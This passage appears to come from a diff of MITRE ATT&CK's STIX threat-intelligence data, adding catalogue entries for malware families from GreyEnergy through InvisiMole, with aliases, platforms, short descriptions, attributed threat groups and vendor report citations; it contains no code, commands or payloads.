"GreyEnergy" + ], + "x_mitre_version": "1.1", + "modified": "2020-03-30T16:44:35.685Z", + "created": "2019-01-30T13:53:14.264Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--308b3d68-a084-4dfb-885a-3125e1a9c1e8", + "description": "[GreyEnergy](https://attack.mitre.org/software/S0342) is a backdoor written in C and compiled in Visual Studio. [GreyEnergy](https://attack.mitre.org/software/S0342) shares similarities with the [BlackEnergy](https://attack.mitre.org/software/S0089) malware and is thought to be the successor of it.(Citation: ESET GreyEnergy Oct 2018)", + "labels": [ + "malware" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0342", + "external_id": "S0342", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: ESET GreyEnergy Oct 2018)", + "source_name": "GreyEnergy" + }, + { + "source_name": "ESET GreyEnergy Oct 2018", + "description": "Cherepanov, A. (2018, October). GREYENERGY A successor to BlackEnergy. Retrieved November 15, 2018.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2018/10/ESET_GreyEnergy.pdf" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "GrimAgent", + "x_mitre_aliases": [ + "GrimAgent" + ], + "x_mitre_version": "1.0", + "modified": "2021-10-15T16:15:20.371Z", + "created": "2021-07-16T18:19:25.986Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--c9b99d03-ff11-4a48-95f0-82660d582c25", + "description": "[GrimAgent](https://attack.mitre.org/software/S0632) is a backdoor that has been used before the deployment of [Ryuk](https://attack.mitre.org/software/S0446) ransomware since at least 2020; it is likely used by [FIN6](https://attack.mitre.org/groups/G0037) and [Wizard Spider](https://attack.mitre.org/groups/G0102).(Citation: Group IB GrimAgent July 2021)", + "labels": [ + "malware" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0632", + "external_id": "S0632", + "source_name": "mitre-attack" + }, + { + "url": "https://gibnc.group-ib.com/s/Group-IB_GrimAgent_analysis#pdfviewer", + "description": "Priego, A. (2021, July). THE BROTHERS GRIM: THE REVERSING TALE OF GRIMAGENT MALWARE USED BY RYUK. Retrieved July 16, 2021.", + "source_name": "Group IB GrimAgent July 2021" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "GuLoader", + "x_mitre_aliases": [ + "GuLoader" + ], + "x_mitre_version": "2.0", + "modified": "2021-10-15T19:14:33.244Z", + "created": "2021-01-11T20:49:20.832Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--45c759ac-b490-48bb-80d4-c8eee3431027", + "description": "[GuLoader](https://attack.mitre.org/software/S0561) is a file downloader that has been used since at least December 2019 to distribute a variety of remote administration tool (RAT) malware, including [NETWIRE](https://attack.mitre.org/software/S0198), [Agent Tesla](https://attack.mitre.org/software/S0331), [NanoCore](https://attack.mitre.org/software/S0336), FormBook, and Parallax RAT.(Citation: Unit 42 NETWIRE April 2020)(Citation: Medium Eli Salem GuLoader April 2021)", + "x_mitre_contributors": [ + "Eli Salem, @elisalem9" + ], + "labels": [ + "malware" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0561", + "external_id": "S0561", + "source_name": "mitre-attack" + }, + { + "url": "https://unit42.paloaltonetworks.com/guloader-installing-netwire-rat/", + "description": "Duncan, B. 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Retrieved July 7, 2021.", + "source_name": "Medium Eli Salem GuLoader April 2021" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "H1N1", + "x_mitre_aliases": [ + "H1N1" + ], + "x_mitre_version": "1.2", + "modified": "2020-03-30T16:45:07.782Z", + "created": "2017-05-31T21:33:15.910Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--f8dfbc54-b070-4224-b560-79aaa5f835bd", + "description": "[H1N1](https://attack.mitre.org/software/S0132) is a malware variant that has been distributed via a campaign using VBA macros to infect victims. Although it initially had only loader capabilities, it has evolved to include information-stealing functionality. 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Retrieved September 26, 2016.", + "source_name": "Cisco H1N1 Part 1" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "HALFBAKED", + "x_mitre_aliases": [ + "HALFBAKED" + ], + "x_mitre_version": "1.0", + "modified": "2018-10-17T00:14:20.652Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--0ced8926-914e-4c78-bc93-356fb90dbd1f", + "description": "[HALFBAKED](https://attack.mitre.org/software/S0151) is a malware family consisting of multiple components intended to establish persistence in victim networks. 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Retrieved April 24, 2017.", + "source_name": "FireEye FIN7 April 2017" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "HAMMERTOSS", + "x_mitre_aliases": [ + "HAMMERTOSS", + "HammerDuke", + "NetDuke" + ], + "x_mitre_version": "1.2", + "modified": "2021-02-09T13:58:23.806Z", + "created": "2017-05-31T21:32:29.203Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--2daa14d6-cbf3-4308-bb8e-213c324a08e4", + "description": "[HAMMERTOSS](https://attack.mitre.org/software/S0037) is a backdoor that was used by [APT29](https://attack.mitre.org/groups/G0016) in 2015. (Citation: FireEye APT29) (Citation: F-Secure The Dukes)", + "labels": [ + "malware" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0037", + "external_id": "S0037", + "source_name": "mitre-attack" + }, + { + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt-apt29-hammertoss.pdf", + "description": "FireEye Labs. (2015, July). HAMMERTOSS: Stealthy Tactics Define a Russian Cyber Threat Group. Retrieved September 17, 2015.", + "source_name": "FireEye APT29" + }, + { + "url": "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf", + "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.", + "source_name": "F-Secure The Dukes" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "HAPPYWORK", + "x_mitre_aliases": [ + "HAPPYWORK" + ], + "x_mitre_version": "1.0", + "modified": "2018-10-17T00:14:20.652Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--211cfe9f-2676-4e1c-a5f5-2c8091da2a68", + "description": "[HAPPYWORK](https://attack.mitre.org/software/S0214) is a downloader used by [APT37](https://attack.mitre.org/groups/G0067) to target South Korean government and financial victims in November 2016. (Citation: FireEye APT37 Feb 2018)", + "labels": [ + "malware" + ], + "created": "2018-04-18T17:59:24.739Z", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0214", + "external_id": "S0214", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: FireEye APT37 Feb 2018)", + "source_name": "HAPPYWORK" + }, + { + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf", + "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.", + "source_name": "FireEye APT37 Feb 2018" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "HARDRAIN", + "x_mitre_aliases": [ + "HARDRAIN" + ], + "x_mitre_version": "1.1", + "modified": "2020-03-30T19:45:04.248Z", + "created": "2018-10-17T00:14:20.652Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--bd0536d7-b081-43ae-a773-cfb057c5b988", + "description": "[HARDRAIN](https://attack.mitre.org/software/S0246) is a Trojan malware variant reportedly used by the North Korean government. (Citation: US-CERT HARDRAIN March 2018)", + "labels": [ + "malware" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0246", + "external_id": "S0246", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: US-CERT HARDRAIN March 2018)", + "source_name": "HARDRAIN" + }, + { + "url": "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-F.pdf", + "description": "US-CERT. (2018, February 05). Malware Analysis Report (MAR) - 10135536-F. Retrieved June 11, 2018.", + "source_name": "US-CERT HARDRAIN March 2018" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "HAWKBALL", + "x_mitre_aliases": [ + "HAWKBALL" + ], + "x_mitre_version": "1.1", + "modified": "2020-03-30T16:46:39.617Z", + "created": "2019-06-20T14:52:45.057Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--12a7450d-b03e-4990-a5b8-b405ab9c803b", + "description": "[HAWKBALL](https://attack.mitre.org/software/S0391) is a backdoor that was observed in targeting of the government sector in Central Asia.(Citation: FireEye HAWKBALL Jun 2019)", + "labels": [ + "malware" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0391", + "external_id": "S0391", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: FireEye HAWKBALL Jun 2019)", + "source_name": "HAWKBALL" + }, + { + "source_name": "FireEye HAWKBALL Jun 2019", + "description": "Patil, S. and Williams, M.. (2019, June 5). Government Sector in Central Asia Targeted With New HAWKBALL Backdoor Delivered via Microsoft Office Vulnerabilities. Retrieved June 20, 2019.", + "url": "https://www.fireeye.com/blog/threat-research/2019/06/government-in-central-asia-targeted-with-hawkball-backdoor.html" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "HDoor", + "x_mitre_aliases": [ + "HDoor", + "Custom HDoor" + ], + "x_mitre_version": "1.0", + "modified": "2019-04-25T02:33:53.419Z", + "created": "2017-05-31T21:32:40.801Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--007b44b6-e4c5-480b-b5b9-56f2081b1b7b", + "description": "[HDoor](https://attack.mitre.org/software/S0061) is malware that has been customized and used by the [Naikon](https://attack.mitre.org/groups/G0019) group. (Citation: Baumgartner Naikon 2015)", + "labels": [ + "malware" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "S0061", + "url": "https://attack.mitre.org/software/S0061" + }, + { + "source_name": "Baumgartner Naikon 2015", + "description": "Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf" + } + ] + }, + { + "type": "malware", + "modified": "2021-10-18T18:33:58.599Z", + "name": "HELLOKITTY", + "x_mitre_aliases": [ + "HELLOKITTY" + ], + "x_mitre_version": "1.0", + "created": "2021-06-03T20:07:21.788Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--5d11d418-95dd-4377-b782-23160dfa17b4", + "description": "[HELLOKITTY](https://attack.mitre.org/software/S0617) is a ransomware written in C++ that shares similar code structure and functionality with [DEATHRANSOM](https://attack.mitre.org/software/S0616) and [FIVEHANDS](https://attack.mitre.org/software/S0618). [HELLOKITTY](https://attack.mitre.org/software/S0617) has been used since at least 2020, targets have included a Polish video game developer and a Brazilian electric power company.(Citation: FireEye FiveHands April 2021)", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "labels": [ + "malware" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0617", + "external_id": "S0617", + "source_name": "mitre-attack" + }, + { + "url": "https://www.fireeye.com/blog/threat-research/2021/04/unc2447-sombrat-and-fivehands-ransomware-sophisticated-financial-threat.html", + "description": "McLellan, T. and Moore, J. et al. (2021, April 29). UNC2447 SOMBRAT and FIVEHANDS Ransomware: A Sophisticated Financial Threat. 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Retrieved May 3, 2017.", + "source_name": "Palo Alto OilRig May 2016" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "Hi-Zor", + "x_mitre_aliases": [ + "Hi-Zor" + ], + "x_mitre_version": "1.1", + "modified": "2021-02-09T14:57:16.085Z", + "created": "2017-05-31T21:32:56.860Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--5967cc93-57c9-404a-8ffd-097edfa7bdfc", + "description": "[Hi-Zor](https://attack.mitre.org/software/S0087) is a remote access tool (RAT) that has characteristics similar to [Sakula](https://attack.mitre.org/software/S0074). It was used in a campaign named INOCNATION. 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Retrieved March 24, 2016.", + "source_name": "Fidelis Hi-Zor" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "HiddenWasp", + "x_mitre_aliases": [ + "HiddenWasp" + ], + "x_mitre_version": "1.2", + "modified": "2021-04-23T20:07:01.487Z", + "created": "2019-06-24T12:04:32.323Z", + "x_mitre_platforms": [ + "Linux" + ], + "id": "malware--fc774af4-533b-4724-96d2-ac1026316794", + "description": "[HiddenWasp](https://attack.mitre.org/software/S0394) is a Linux-based Trojan used to target systems for remote control. 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Retrieved June 24, 2019.", + "url": "https://www.intezer.com/blog-hiddenwasp-malware-targeting-linux-systems/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "Hikit", + "x_mitre_aliases": [ + "Hikit" + ], + "x_mitre_version": "1.2", + "modified": "2021-06-09T18:59:27.117Z", + "created": "2017-05-31T21:32:14.124Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--95047f03-4811-4300-922e-1ba937d53a61", + "description": "[Hikit](https://attack.mitre.org/software/S0009) is malware that has been used by [Axiom](https://attack.mitre.org/groups/G0001) for late-stage persistence and exfiltration after the initial compromise.(Citation: Novetta-Axiom)(Citation: FireEye Hikit Rootkit)", + "x_mitre_contributors": [ + "Christopher Glyer, Mandiant, @cglyer" + ], + "labels": [ + "malware" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0009", + "external_id": "S0009", + "source_name": "mitre-attack" + }, + { + "source_name": "Novetta-Axiom", + "description": "Novetta. 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Retrieved May 1, 2020.", + "source_name": "Carbon Black HotCroissant April 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "Hydraq", + "x_mitre_aliases": [ + "Hydraq", + "Aurora", + "9002 RAT" + ], + "x_mitre_version": "1.1", + "modified": "2021-01-06T19:32:28.374Z", + "created": "2018-04-18T17:59:24.739Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--73a4793a-ce55-4159-b2a6-208ef29b326f", + "description": "[Hydraq](https://attack.mitre.org/software/S0203) is a data-theft trojan first used by [Elderwood](https://attack.mitre.org/groups/G0066) in the 2009 Google intrusion known as Operation Aurora, though variations of this trojan have been used in more recent campaigns by other Chinese actors, possibly including [APT17](https://attack.mitre.org/groups/G0025). (Citation: MicroFocus 9002 Aug 2016) (Citation: Symantec Elderwood Sept 2012) (Citation: Symantec Trojan.Hydraq Jan 2010) (Citation: ASERT Seven Pointed Dagger Aug 2015) (Citation: FireEye DeputyDog 9002 November 2013) (Citation: ProofPoint GoT 9002 Aug 2017) (Citation: FireEye Sunshop Campaign May 2013) (Citation: PaloAlto 3102 Sept 2015)", + "labels": [ + "malware" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0203", + "external_id": "S0203", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: Symantec Elderwood Sept 2012) (Citation: Symantec Trojan.Hydraq Jan 2010)", + "source_name": "Hydraq" + }, + { + "description": "(Citation: Symantec Elderwood Sept 2012) (Citation: Symantec Trojan.Hydraq Jan 2010)", + "source_name": "Aurora" + }, + { + "description": "(Citation: MicroFocus 9002 Aug 2016)", + "source_name": "9002 RAT" + }, + { + "url": "https://community.softwaregrp.com/t5/Security-Research/9002-RAT-a-second-building-on-the-left/ba-p/228686#.WosBVKjwZPZ", + "description": "Petrovsky, O. (2016, August 30). \u201c9002 RAT\u201d -- a second building on the left. Retrieved February 20, 2018.", + "source_name": "MicroFocus 9002 Aug 2016" + }, + { + "source_name": "Symantec Elderwood Sept 2012", + "description": "O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018.", + "url": "https://web.archive.org/web/20190717233006/http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf" + }, + { + "url": "https://www.symantec.com/connect/blogs/trojanhydraq-incident", + "description": "Symantec Security Response. (2010, January 18). The Trojan.Hydraq Incident. Retrieved February 20, 2018.", + "source_name": "Symantec Trojan.Hydraq Jan 2010" + }, + { + "url": "https://www.arbornetworks.com/blog/asert/wp-content/uploads/2016/01/ASERT-Threat-Intelligence-Brief-2015-08-Uncovering-the-Seven-Point-Dagger.pdf", + "description": "ASERT. (2015, August). ASERT Threat Intelligence Report \u2013 Uncovering the Seven Pointed Dagger. Retrieved March 19, 2018.", + "source_name": "ASERT Seven Pointed Dagger Aug 2015" + }, + { + "url": "https://www.fireeye.com/blog/threat-research/2013/11/operation-ephemeral-hydra-ie-zero-day-linked-to-deputydog-uses-diskless-method.html", + "description": "Moran, N. et al.. (2013, November 10). Operation Ephemeral Hydra: IE Zero-Day Linked to DeputyDog Uses Diskless Method. Retrieved March 19, 2018.", + "source_name": "FireEye DeputyDog 9002 November 2013" + }, + { + "url": "https://www.proofpoint.com/us/threat-insight/post/operation-rat-cook-chinese-apt-actors-use-fake-game-thrones-leaks-lures", + "description": "Huss, D. & Mesa, M. (2017, August 25). Operation RAT Cook: Chinese APT actors use fake Game of Thrones leaks as lures. Retrieved March 19, 2018.", + "source_name": "ProofPoint GoT 9002 Aug 2017" + }, + { + "url": "https://www.fireeye.com/blog/threat-research/2013/05/ready-for-summer-the-sunshop-campaign.html", + "description": "Moran, N. (2013, May 20). Ready for Summer: The Sunshop Campaign. Retrieved March 19, 2018.", + "source_name": "FireEye Sunshop Campaign May 2013" + }, + { + "url": "https://researchcenter.paloaltonetworks.com/2015/09/chinese-actors-use-3102-malware-in-attacks-on-us-government-and-eu-media/", + "description": "Falcone, R. & Miller-Osborn, J. (2015, September 23). Chinese Actors Use \u20183102\u2019 Malware in Attacks on US Government and EU Media. Retrieved March 19, 2018.", + "source_name": "PaloAlto 3102 Sept 2015" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "HyperBro", + "x_mitre_aliases": [ + "HyperBro" + ], + "x_mitre_version": "1.1", + "modified": "2021-10-12T19:21:39.068Z", + "created": "2019-07-09T17:42:44.777Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--5e814485-012d-423d-b769-026bfed0f451", + "description": "[HyperBro](https://attack.mitre.org/software/S0398) is a custom in-memory backdoor used by [Threat Group-3390](https://attack.mitre.org/groups/G0027).(Citation: Unit42 Emissary Panda May 2019)(Citation: Securelist LuckyMouse June 2018)(Citation: Hacker News LuckyMouse June 2018)", + "labels": [ + "malware" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0398", + "external_id": "S0398", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: Unit42 Emissary Panda May 2019)", + "source_name": "HyperBro" + }, + { + "source_name": "Unit42 Emissary Panda May 2019", + "description": "Falcone, R. and Lancaster, T. (2019, May 28). Emissary Panda Attacks Middle East Government Sharepoint Servers. Retrieved July 9, 2019.", + "url": "https://unit42.paloaltonetworks.com/emissary-panda-attacks-middle-east-government-sharepoint-servers/" + }, + { + "url": "https://securelist.com/luckymouse-hits-national-data-center/86083/", + "description": "Legezo, D. (2018, June 13). LuckyMouse hits national data center to organize country-level waterholing campaign. Retrieved August 18, 2018.", + "source_name": "Securelist LuckyMouse June 2018" + }, + { + "url": "https://thehackernews.com/2018/06/chinese-watering-hole-attack.html", + "description": "Khandelwal, S. (2018, June 14). Chinese Hackers Carried Out Country-Level Watering Hole Attack. Retrieved August 18, 2018.", + "source_name": "Hacker News LuckyMouse June 2018" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "HyperStack", + "x_mitre_aliases": [ + "HyperStack" + ], + "x_mitre_version": "1.0", + "modified": "2020-12-04T15:04:01.604Z", + "created": "2020-12-02T20:48:23.462Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--2cf7dec3-66fc-423f-b2c7-58f1de243b4e", + "description": "[HyperStack](https://attack.mitre.org/software/S0537) is a RPC-based backdoor used by [Turla](https://attack.mitre.org/groups/G0010) since at least 2018. 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Retrieved December 2, 2020.", + "source_name": "Accenture HyperStack October 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "ISMInjector", + "x_mitre_aliases": [ + "ISMInjector" + ], + "x_mitre_version": "1.1", + "modified": "2020-03-31T12:38:41.115Z", + "created": "2018-01-16T16:13:52.465Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--5be33fef-39c0-4532-84ee-bea31e1b5324", + "description": "[ISMInjector](https://attack.mitre.org/software/S0189) is a Trojan used to install another [OilRig](https://attack.mitre.org/groups/G0049) backdoor, ISMAgent. (Citation: OilRig New Delivery Oct 2017)", + "x_mitre_contributors": [ + "Robert Falcone" + ], + "labels": [ + "malware" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0189", + "external_id": "S0189", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: OilRig New Delivery Oct 2017)", + "source_name": "ISMInjector" + }, + { + "url": "https://researchcenter.paloaltonetworks.com/2017/10/unit42-oilrig-group-steps-attacks-new-delivery-documents-new-injector-trojan/", + "description": "Falcone, R. and Lee, B. (2017, October 9). OilRig Group Steps Up Attacks with New Delivery Documents and New Injector Trojan. Retrieved January 8, 2018.", + "source_name": "OilRig New Delivery Oct 2017" + } + ] + }, + { + "type": "malware", + "modified": "2020-08-14T14:25:53.721Z", + "name": "IcedID", + "x_mitre_aliases": [ + "IcedID" + ], + "x_mitre_version": "1.0", + "created": "2020-07-15T17:55:11.252Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--5147ef15-1cae-4707-8ea1-bee8d98b7f1d", + "description": "[IcedID](https://attack.mitre.org/software/S0483) is a modular banking malware designed to steal financial information that has been observed in the wild since at least 2017. [IcedID](https://attack.mitre.org/software/S0483) has been downloaded by [Emotet](https://attack.mitre.org/software/S0367) in multiple campaigns.(Citation: IBM IcedID November 2017)(Citation: Juniper IcedID June 2020)", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "labels": [ + "malware" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0483", + "external_id": "S0483", + "source_name": "mitre-attack" + }, + { + "url": "https://securityintelligence.com/new-banking-trojan-icedid-discovered-by-ibm-x-force-research/", + "description": "Kessem, L., et al. (2017, November 13). New Banking Trojan IcedID Discovered by IBM X-Force Research. Retrieved July 14, 2020.", + "source_name": "IBM IcedID November 2017" + }, + { + "url": "https://blogs.juniper.net/en-us/threat-research/covid-19-and-fmla-campaigns-used-to-install-new-icedid-banking-malware", + "description": "Kimayong, P. (2020, June 18). COVID-19 and FMLA Campaigns used to install new IcedID banking malware. Retrieved July 14, 2020.", + "source_name": "Juniper IcedID June 2020" + } + ] + }, + { + "type": "malware", + "modified": "2021-10-13T19:33:41.189Z", + "name": "Industroyer", + "x_mitre_aliases": [ + "Industroyer", + "CRASHOVERRIDE", + "Win32/Industroyer" + ], + "x_mitre_version": "1.0", + "created": "2021-01-04T20:42:21.997Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--e401d4fe-f0c9-44f0-98e6-f93487678808", + "description": "[Industroyer](https://attack.mitre.org/software/S0604) is a sophisticated malware framework designed to cause an impact to the working processes of Industrial Control Systems (ICS), specifically components used in electrical substations.(Citation: ESET Industroyer) [Industroyer](https://attack.mitre.org/software/S0604) was used in the attacks on the Ukrainian power grid in December 2016.(Citation: Dragos Crashoverride 2017) This is the first publicly known malware specifically designed to target and impact operations in the electric grid.(Citation: Dragos Crashoverride 2018)", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "labels": [ + "malware" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0604", + "external_id": "S0604", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: Dragos Crashoverride 2017)", + "source_name": "CRASHOVERRIDE" + }, + { + "description": "(Citation: ESET Industroyer)", + "source_name": "Win32/Industroyer" + }, + { + "url": "https://www.welivesecurity.com/wp-content/uploads/2017/06/Win32_Industroyer.pdf ", + "description": "Anton Cherepanov. (2017, June 12). Win32/Industroyer: A new threat for industrial controls systems. Retrieved December 18, 2020.", + "source_name": "ESET Industroyer" + }, + { + "url": "https://dragos.com/blog/crashoverride/CrashOverride-01.pdf ", + "description": "Dragos Inc.. (2017, June 13). CRASHOVERRIDE Analysis of the Threat to Electric Grid Operations. Retrieved December 18, 2020.", + "source_name": "Dragos Crashoverride 2017" + }, + { + "url": "https://www.dragos.com/wp-content/uploads/CRASHOVERRIDE2018.pdf ", + "description": "Joe Slowik. (2018, October 12). Anatomy of an Attack: Detecting and Defeating CRASHOVERRIDE. Retrieved December 18, 2020.", + "source_name": "Dragos Crashoverride 2018" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "InnaputRAT", + "x_mitre_aliases": [ + "InnaputRAT" + ], + "x_mitre_version": "1.1", + "modified": "2020-03-20T02:21:24.856Z", + "created": "2018-10-17T00:14:20.652Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--c8b6cc43-ce61-42ae-87f3-a5f10526f952", + "description": "[InnaputRAT](https://attack.mitre.org/software/S0259) is a remote access tool that can exfiltrate files from a victim\u2019s machine. [InnaputRAT](https://attack.mitre.org/software/S0259) has been seen out in the wild since 2016. (Citation: ASERT InnaputRAT April 2018)", + "labels": [ + "malware" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0259", + "external_id": "S0259", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: ASERT InnaputRAT April 2018)", + "source_name": "InnaputRAT" + }, + { + "url": "https://asert.arbornetworks.com/innaput-actors-utilize-remote-access-trojan-since-2016-presumably-targeting-victim-files/", + "description": "ASERT Team. (2018, April 04). Innaput Actors Utilize Remote Access Trojan Since 2016, Presumably Targeting Victim Files. Retrieved July 9, 2018.", + "source_name": "ASERT InnaputRAT April 2018" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "InvisiMole", + "x_mitre_aliases": [ + "InvisiMole" + ], + "x_mitre_version": "2.0", + "modified": "2020-10-21T17:45:34.380Z", + "created": "2018-10-17T00:14:20.652Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--47afe41c-4c08-485e-b062-c3bd209a1cce", + "description": "[InvisiMole](https://attack.mitre.org/software/S0260) is a modular spyware program that has been used by the InvisiMole Group since at least 2013. [InvisiMole](https://attack.mitre.org/software/S0260) has two backdoor modules called RC2FM and RC2CL that are used to perform post-exploitation activities. It has been discovered on compromised victims in the Ukraine and Russia. [Gamaredon Group](https://attack.mitre.org/groups/G0047) infrastructure has been used to download and execute [InvisiMole](https://attack.mitre.org/software/S0260) against a small number of victims.(Citation: ESET InvisiMole June 2018)(Citation: ESET InvisiMole June 2020)", + "x_mitre_contributors": [ + "ESET" + ], + "labels": [ + "malware" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0260", + "external_id": "S0260", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: ESET InvisiMole June 2018)", + "source_name": "InvisiMole" + }, + { + "source_name": "ESET InvisiMole June 2018", + "description": "Hromcov\u00e1, Z. (2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. 